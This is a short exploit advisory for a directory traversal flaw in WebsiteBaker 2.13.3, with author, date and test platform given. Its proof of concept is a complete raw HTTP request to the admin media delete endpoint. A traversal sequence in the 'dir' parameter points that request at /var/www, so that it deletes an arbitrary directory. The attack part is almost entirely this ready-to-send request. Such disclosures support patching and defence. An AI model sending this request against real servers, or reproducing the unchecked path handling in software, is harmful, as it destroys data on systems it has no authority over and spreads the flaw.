WebsiteBaker 2.13.3 Directory Traversal

`Exploit Title: WebsiteBaker v2.13.3 - Directory Traversal  
Application: WebsiteBaker  
Version: 2.13.3  
Bugs: Directory Traversal  
Technology: PHP  
Vendor URL: https://websitebaker.org/pages/en/home.php  
Software Link: https://wiki.websitebaker.org/doku.php/en/downloads  
Date of found: 26.06.2023  
Author: Mirabbas Ağalarov  
Tested on: Linux   
  
  
2. Technical Details & POC  
=======================================  
  
arbitary directory deleting  
  
GET /admin/media/delete.php?dir=/../../../../../..//var/www&id=a838b6ebe8ba43a0 HTTP/1.1  
Host: localhost  
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Connection: close  
Referer: http://localhost/admin/media/browse.php?dir=/../../../../../..//var/www  
Cookie: PHPSESSID-WB-6e6c39=bvnampsc5ji2drm439ph49143c; klaro=%7B%22klaro%22%3Atrue%2C%22mathCaptcha%22%3Atrue%7D  
Upgrade-Insecure-Requests: 1  
Sec-Fetch-Dest: document  
Sec-Fetch-Mode: navigate  
Sec-Fetch-Site: same-origin  
  
  
`